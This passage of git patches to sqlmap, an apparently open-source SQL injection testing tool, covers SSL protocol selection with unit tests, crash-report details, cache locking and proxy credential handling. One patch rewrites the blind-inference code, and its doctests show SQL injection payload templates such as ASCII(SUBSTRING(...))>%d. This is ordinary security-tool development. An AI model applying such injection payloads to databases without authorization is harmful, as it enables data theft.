https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if hasattr(ssl, "SSLContext"): - for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): + for protocol in (_ for _ in _protocols if _ in _tlsProtocols): sock = None try: sock = create_sock() diff --git a/tests/test_httpshandler.py b/tests/test_httpshandler.py new file mode 100644 index 000000000..a627bf106 --- /dev/null +++ b/tests/test_httpshandler.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/request/httpshandler.py, exercising the SSL protocol +candidate selection. + +No network is involved: the module is reimported with chosen ssl.PROTOCOL_* +constants removed, mimicking OpenSSL builds that have those protocol versions +compiled out (e.g. OPENSSL_NO_TLS1), as the constants are conditional there. +""" + +import os +import ssl +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap + +bootstrap() + +from lib.core.data import conf +import lib.request.httpshandler as hmod +from thirdparty.six.moves import reload_module as _reload_module + +class TestProtocolSelection(unittest.TestCase): + def tearDown(self): + hmod.socket.create_connection = self._createConnection + hmod.ssl.SSLContext = self._sslContext + hmod._contexts.clear() + + for name, value in self._removed.items(): + setattr(ssl, name, value) + _reload_module(hmod) + + def _reload_without(self, *names): + """Reloads the module with `names` missing from ssl (as on builds lacking those protocols)""" + + self._removed = {} + self._createConnection = hmod.socket.create_connection + self._sslContext = hmod.ssl.SSLContext + + for name in names: + if hasattr(ssl, name): + self._removed[name] = getattr(ssl, name) + delattr(ssl, name) + + _reload_module(hmod) + + return [hmod._lut.get(_, _) for _ in hmod._protocols if _ in hmod._tlsProtocols] + + def test_only_tls_protocols_are_used_with_sni(self): + # Note: SSL era protocols stay in _protocols for the non-SNI fallback, but carry no server_hostname + selected = self._reload_without() + self.assertTrue(selected) + for name in ("PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"): + if hasattr(ssl, name): + self.assertIn(getattr(ssl, name), hmod._protocols) + self.assertNotIn(getattr(ssl, name), hmod._tlsProtocols) + + def test_missing_tlsv1_does_not_raise(self): + # Note: ssl.PROTOCOL_TLSv1 is compiled in only '#ifndef OPENSSL_NO_TLS1' (used to raise an AttributeError here) + selected = self._reload_without("PROTOCOL_TLSv1") + self.assertTrue(selected) + self.assertNotIn("PROTOCOL_TLSv1", selected) + + def test_missing_all_legacy_tls_does_not_raise(self): + selected = self._reload_without("PROTOCOL_TLSv1", "PROTOCOL_TLSv1_1") + self.assertTrue(selected) + self.assertNotIn("PROTOCOL_TLSv1_1", selected) + + def test_connect_without_tlsv1(self): + """Drives the real connect() loop, which used to reference ssl.PROTOCOL_TLSv1 directly""" + + selected = self._reload_without("PROTOCOL_TLSv1") + + conf.host = None + conf.httpHeaders = [] + + class _Context(object): + def __init__(self, protocol): + self.protocol = protocol + + def set_ciphers(self, _): + pass + + def wrap_socket(self, sock, **kwargs): + return "wrapped:%s" % hmod._lut.get(self.protocol, self.protocol) + + connection = hmod.HTTPSConnection("example.com", 443) + + # Note: stubbed only after the instantiation, as that one resolves the default context through ssl itself + hmod.socket.create_connection = lambda *args, **kwargs: _Socket() + hmod.ssl.SSLContext = _Context + hmod._contexts.clear() + + connection.connect() + + self.assertEqual(connection.sock, "wrapped:%s" % selected[0]) + +class _Socket(object): + def close(self): + pass + +if __name__ == "__main__": + unittest.main() From c9745f883d2a5b70de8b786fcd3451e9b991da8a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 23 Oct 2026 00:33:58 +0200 Subject: [PATCH 021/126] Minor update --- lib/core/common.py | 6 +++++- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 58c93fd37..6b72a3c8d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4116,6 +4116,10 @@ def unhandledExceptionMessage(): True """ + from lib.core.revision import getRevisionNumber # Note: not in the header because of the circular import + + revision = getRevisionNumber() + errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING errMsg += "run with the latest development version from official GitHub " errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE @@ -4123,7 +4127,7 @@ def unhandledExceptionMessage(): errMsg += "with the following text and any other information required to " errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" - errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] + errMsg += "Running version: %s%s\n" % (VERSION_STRING[VERSION_STRING.find('/') + 1:], (" (%s)" % revision) if revision else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6d6f243d2..e7697ecb0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.18" +VERSION = "1.10.10.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6e06114947397e1f5bbe428230e25cf1cf9f1a55 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 25 Oct 2026 16:29:02 +0100 Subject: [PATCH 022/126] Fixes #6157 --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 29 +++++++++++++++++++++-------- 2 files changed, 22 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e7697ecb0..e1c1939ac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.19" +VERSION = "1.10.10.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 843ff7155..aebe5a33c 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -109,6 +109,19 @@ def normalizedExpression(expression): return retVal +def replaceInferenceOperator(payload, replacement): + """ + Replaces only the inference comparison operator (i.e. the one right in front of the compared + value placeholder), leaving any other occurrence (e.g. inside the original parameter value) intact + + >>> replaceInferenceOperator("1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))>%d", "!=") + '1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))!=%d' + >>> replaceInferenceOperator("a>b AND SUBSTR((%s),%d,1)>'%c'", "=") + "a>b AND SUBSTR((%s),%d,1)='%c'" + """ + + return re.sub(r"%s(?=%%d|'%%c')" % re.escape(INFERENCE_GREATER_CHAR), lambda match: replacement, payload) + def getHuffmanPrior(order, scale, dbms=None): """ Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman @@ -350,7 +363,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None elif Backend.isDbms(DBMS.FRONTBASE): match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: - payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) + payload = replaceInferenceOperator(payload, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() @@ -509,9 +522,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) - forgedPayload = agent.extractPayload(payload) or "" + forgedPayload = replaceInferenceOperator(agent.extractPayload(payload) or "", INFERENCE_EQUALS_CHAR) forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) - forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) @@ -530,7 +543,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None threadData = getCurrentThreadData() - validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) + validationPayload = replaceInferenceOperator(payload, INFERENCE_NOT_EQUALS_CHAR) if PAYLOAD_DELIMITER in payload else payload if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) @@ -668,7 +681,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # If it disagrees, the IN() channel is unreliable here: latch the technique off so the # classic '>' bisection takes over for the rest of the run (graceful fallback). if not kb.huffmanValidated: - verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) + verifyPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if verified: @@ -739,7 +752,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return None elif len(charTbl) == 1: - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) + forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) @@ -963,7 +976,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) + forgedPayload = safeStringFormat(replaceInferenceOperator(payload, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) @@ -975,7 +988,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None bit += 1 if candidates: - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) + forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) From 6df778743f9fa0ef15f4301686df5566b84bddb4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 09:17:37 +0100 Subject: [PATCH 023/126] Update related to the #6161 --- lib/core/common.py | 16 +++++++++++++++- lib/core/settings.py | 2 +- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6b72a3c8d..4b93d3ffd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4108,6 +4108,19 @@ def getDaysFromLastUpdate(): return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) +def jitEnabled(): + """ + Returns True if the experimental JIT compiler is active (Python >= 3.13) + + >>> jitEnabled() in (True, False) + True + """ + + try: + return bool(sys._jit.is_enabled()) + except: + return os.getenv("PYTHON_JIT") == '1' + def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception @@ -4128,7 +4141,8 @@ def unhandledExceptionMessage(): errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "Running version: %s%s\n" % (VERSION_STRING[VERSION_STRING.find('/') + 1:], (" (%s)" % revision) if revision else "") - errMsg += "Python version: %s\n" % PYVERSION + # Note: experimental JIT (Python >= 3.13) has been behind a whole class of reports where an unrelated object ends up bound to a name + errMsg += "Python version: %s%s\n" % (PYVERSION, " (JIT)" if jitEnabled() else "") errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) diff --git a/lib/core/settings.py b/lib/core/settings.py index e1c1939ac..04bd15383 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.20" +VERSION = "1.10.10.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6a94f23251de1032831c1a40fb8f703bca389fe6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 09:23:47 +0100 Subject: [PATCH 024/126] Update related to the #6161 --- lib/core/common.py | 26 +++++++++++++++++++------- lib/core/settings.py | 2 +- 2 files changed, 20 insertions(+), 8 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 4b93d3ffd..477498853 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4108,18 +4108,30 @@ def getDaysFromLastUpdate(): return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) -def jitEnabled(): +def pythonBuildInfo(): """ - Returns True if the experimental JIT compiler is active (Python >= 3.13) + Returns markers of non-default interpreter builds/modes (e.g. free-threading, JIT) - >>> jitEnabled() in (True, False) + >>> isinstance(pythonBuildInfo(), str) True """ + retVal = [] + try: - return bool(sys._jit.is_enabled()) + if not sys._is_gil_enabled(): # Note: free-threading has been behind reports where a still running function gets collected (e.g. https://github.com/python/cpython/issues/160682) + retVal.append("free-threading") except: - return os.getenv("PYTHON_JIT") == '1' + pass + + try: + if sys._jit.is_enabled(): + retVal.append("JIT") + except: + if os.getenv("PYTHON_JIT") == '1': + retVal.append("JIT") + + return ", ".join(retVal) def unhandledExceptionMessage(): """ @@ -4132,6 +4144,7 @@ def unhandledExceptionMessage(): from lib.core.revision import getRevisionNumber # Note: not in the header because of the circular import revision = getRevisionNumber() + buildInfo = pythonBuildInfo() errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING errMsg += "run with the latest development version from official GitHub " @@ -4141,8 +4154,7 @@ def unhandledExceptionMessage(): errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "Running version: %s%s\n" % (VERSION_STRING[VERSION_STRING.find('/') + 1:], (" (%s)" % revision) if revision else "") - # Note: experimental JIT (Python >= 3.13) has been behind a whole class of reports where an unrelated object ends up bound to a name - errMsg += "Python version: %s%s\n" % (PYVERSION, " (JIT)" if jitEnabled() else "") + errMsg += "Python version: %s%s\n" % (PYVERSION, (" (%s)" % buildInfo) if buildInfo else "") errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 04bd15383..ec21d6119 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.21" +VERSION = "1.10.10.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 94f8cf81364499561781e565215d638de61217d7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 09:34:04 +0100 Subject: [PATCH 025/126] Minor update --- lib/core/common.py | 17 +++++++++++++++-- lib/core/settings.py | 2 +- 2 files changed, 16 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 477498853..6aa6bb8b2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4116,11 +4116,15 @@ def pythonBuildInfo(): True """ + import sysconfig + retVal = [] + # Note: free-threading builds compile in their own GC and deferred reference counting (e.g. https://github.com/python/cpython/issues/160682, where a still + # running function gets collected), both of which stay in play even when the GIL itself got re-enabled in runtime, hence checking the build and not only the state try: - if not sys._is_gil_enabled(): # Note: free-threading has been behind reports where a still running function gets collected (e.g. https://github.com/python/cpython/issues/160682) - retVal.append("free-threading") + if sysconfig.get_config_var("Py_GIL_DISABLED"): + retVal.append("free-threading" if not sys._is_gil_enabled() else "free-threading with GIL") except: pass @@ -4214,6 +4218,15 @@ def createGithubIssue(errMsg, excMsg): Automatically create a Github issue with unhandled exception information """ + # Note: free-threading builds collect still running functions (https://github.com/python/cpython/issues/160682), where the reused memory shows up as an + # unrelated object bound to a known name (e.g. "'str' object is not callable"). Those are interpreter bugs, hence not worth a report of their own + if "free-threading" in pythonBuildInfo(): + warnMsg = "the used interpreter is a free-threading build, known for collecting still running " + warnMsg += "functions and producing unrelated exceptions like this one. Please rerun with a " + warnMsg += "regular (non free-threading) build, as skipping the automatic issue creation in here" + logger.warning(warnMsg) + return + try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: diff --git a/lib/core/settings.py b/lib/core/settings.py index ec21d6119..85b1b6267 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.22" +VERSION = "1.10.10.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a01582b83f4dc38aa851f1a2f59bd23fd6ac6f07 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 11:10:16 +0100 Subject: [PATCH 026/126] Minor update --- lib/core/common.py | 9 --------- lib/core/settings.py | 2 +- 2 files changed, 1 insertion(+), 10 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6aa6bb8b2..ee3a26e70 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4218,15 +4218,6 @@ def createGithubIssue(errMsg, excMsg): Automatically create a Github issue with unhandled exception information """ - # Note: free-threading builds collect still running functions (https://github.com/python/cpython/issues/160682), where the reused memory shows up as an - # unrelated object bound to a known name (e.g. "'str' object is not callable"). Those are interpreter bugs, hence not worth a report of their own - if "free-threading" in pythonBuildInfo(): - warnMsg = "the used interpreter is a free-threading build, known for collecting still running " - warnMsg += "functions and producing unrelated exceptions like this one. Please rerun with a " - warnMsg += "regular (non free-threading) build, as skipping the automatic issue creation in here" - logger.warning(warnMsg) - return - try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: diff --git a/lib/core/settings.py b/lib/core/settings.py index 85b1b6267..064bf801b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.23" +VERSION = "1.10.10.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 083d9d0e6fa813473e6cb1d683dd3806959eeff8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 13:11:04 +0100 Subject: [PATCH 027/126] Fix for Ctrl-C hang on Python 3.14 (leaked cache locks) --- lib/core/datatype.py | 39 +++++++++++++++++++++++++++++++++++++-- lib/core/decorators.py | 11 ++++++++--- lib/core/settings.py | 2 +- 3 files changed, 46 insertions(+), 6 deletions(-) diff --git a/lib/core/datatype.py b/lib/core/datatype.py index f667c0cd9..32db1fbad 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -9,8 +9,40 @@ import copy import threading from collections import OrderedDict +from thirdparty import six from thirdparty.six.moves import collections_abc as _collections +class NoLock(object): + """ + No-op stand-in for a lock, used where the guarded operations are already atomic on their own + + >>> with NoLock(): + ... True + True + """ + + def __enter__(self): + return self + + def __exit__(self, *args): + return False + +def cacheLock(reentrant=False): + """ + Returns a lock for guarding the (OrderedDict based) caches. Only Python 2 needs a real one, as its + OrderedDict is implemented in Python (#5619), while on Python 3 each operation is atomic. Moreover, + since Python 3.14 a Ctrl-C landing right after a lock got acquired by the 'with' statement leaves it + acquired forever (i.e. '__exit__' never gets called), hanging every thread that touches the cache + + >>> isinstance(cacheLock(), NoLock) == six.PY3 + True + """ + + if six.PY2: + return threading.RLock() if reentrant else threading.Lock() + else: + return NoLock() + class AttribDict(dict): """ This class defines the dictionary with added capability to access members as attributes @@ -133,7 +165,7 @@ class LRUDict(object): def __init__(self, capacity): self.capacity = capacity self.cache = OrderedDict() - self.__lock = threading.Lock() + self.__lock = cacheLock() def __len__(self): return len(self.cache) @@ -159,7 +191,10 @@ class LRUDict(object): self.cache.pop(key) except KeyError: if len(self.cache) >= self.capacity: - self.cache.popitem(last=False) + try: + self.cache.popitem(last=False) + except KeyError: # Note: concurrently emptied by another thread (unlocked on Python 3) + pass self.cache[key] = value def set(self, key, value): diff --git a/lib/core/decorators.py b/lib/core/decorators.py index aa6c1a850..d3c584f45 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -9,6 +9,7 @@ import functools import threading from lib.core.datatype import LRUDict +from lib.core.datatype import cacheLock from lib.core.settings import MAX_CACHE_ITEMS from lib.core.threads import getCurrentThreadData @@ -40,7 +41,7 @@ def cachedmethod(f): """ _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) - _method_locks[f] = threading.RLock() + _method_locks[f] = cacheLock(reentrant=True) def _freeze(val): if isinstance(val, (list, set, tuple)): @@ -60,8 +61,10 @@ def cachedmethod(f): key = args with lock: - if key in cache: + try: return cache[key] + except KeyError: # Note: single lookup, as an entry can get evicted in between (unlocked on Python 3) + pass except TypeError: # Note: fallback (slow-path) for unhashable arguments @@ -72,8 +75,10 @@ def cachedmethod(f): key = (_FROZEN_KEY_MARKER, _freeze(args)) with lock: - if key in cache: + try: return cache[key] + except KeyError: + pass except TypeError: # Note: genuinely uncacheable arguments; skip caching altogether return f(*args, **kwargs) diff --git a/lib/core/settings.py b/lib/core/settings.py index 064bf801b..1dcbe1746 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.24" +VERSION = "1.10.10.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 81d17b1ad2099260394029819b3117fb38b950f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 13:29:36 +0100 Subject: [PATCH 028/126] Fixes #6162 --- lib/core/option.py | 5 ++++- lib/core/settings.py | 2 +- tests/test_option.py | 45 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 50 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 0af99b6fe..74f8feaa7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1330,7 +1330,7 @@ def _setHTTPHandlers(): match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc) if match: - username, password = match.group(1), match.group(2) + username, password = _urllib.parse.unquote(match.group(1)), _urllib.parse.unquote(match.group(2)) else: username, password = None, None @@ -1375,6 +1375,9 @@ def _setHTTPHandlers(): if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection proxyString = "%s@" % conf.proxyCred + elif match: + # Note: credentials from the proxy URL itself (kept URL-encoded, as urllib decodes them on its own) + proxyString = "%s:%s@" % (match.group(1), match.group(2)) else: proxyString = "" diff --git a/lib/core/settings.py b/lib/core/settings.py index 1dcbe1746..ec1d90f92 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.25" +VERSION = "1.10.10.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_option.py b/tests/test_option.py index c4e10cc1e..d48eb4d1e 100644 --- a/tests/test_option.py +++ b/tests/test_option.py @@ -1646,5 +1646,50 @@ class TestNonSqlTechniqueRegistry(unittest.TestCase): self.assertEqual(optDict["Techniques"].get(name), "boolean", name) +class TestSetHTTPHandlersProxyCredentials(unittest.TestCase): + """_setHTTPHandlers(): credentials embedded in the proxy URL (dropped for HTTP(S) and left + URL-encoded for SOCKS ever since the fix for #5875). Global state (shared proxy handler, + installed opener, SOCKS hooks) is pinned, so nothing leaks into other modules.""" + + _KEYS = ("proxy", "proxyCred", "proxyList", "hostname", "ignoreProxy", "cj", "keepAlive") + + def setUp(self): + from _testutils import save_attrs + + self._socks = [] + self._saved = save_attrs(option.socks, "setdefaultproxy", "wrapmodule", "unwrapmodule") + self._saved += save_attrs(option.proxyHandler, "proxies", "http_open", "https_open") + self._saved += save_attrs(option._urllib.request, "install_opener") + + option.socks.setdefaultproxy = lambda *args, **kwargs: self._socks.append((kwargs.get("username"), kwargs.get("password"))) + option.socks.wrapmodule = option.socks.unwrapmodule = lambda *args: None + option._urllib.request.install_opener = lambda *args: None + + def tearDown(self): + from _testutils import restore_attrs + + restore_attrs(self._saved) + + def _run(self, proxy, proxyCred=None): + with _preserve(conf, *self._KEYS), _preserve(kb, "proxies"): + conf.proxy, conf.proxyCred, conf.proxyList = proxy, proxyCred, None + option._setHTTPHandlers() + return (kb.proxies or {}).get("http") + + def test_http_url_credentials(self): + # Note: kept URL-encoded, as urllib decodes them itself when building 'Proxy-Authorization' + self.assertEqual(self._run("http://user:p%40ss@127.0.0.1:8080"), "user:p%40ss@127.0.0.1:8080") + + def test_proxy_cred_takes_precedence(self): + self.assertEqual(self._run("http://user:p%40ss@127.0.0.1:8080", "other:pw"), "other:pw@127.0.0.1:8080") + + def test_http_without_credentials(self): + self.assertEqual(self._run("http://127.0.0.1:8080"), "127.0.0.1:8080") + + def test_socks_url_credentials_decoded(self): + self._run("socks5://user:p%40ss@127.0.0.1:1080") + self.assertEqual(self._socks, [("user", "p@ss")]) + + if __name__ == "__main__": unittest.main(verbosity=2) From f8a42cf016d22ad4ce1c83ade21fafb18e010835 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 27 Oct 2026 13:47:04 +0100 Subject: [PATCH 029/126] Fixes CI/CD errors --- lib/core/decorators.py | 18 ++++++++++-------- lib/core/settings.py | 2 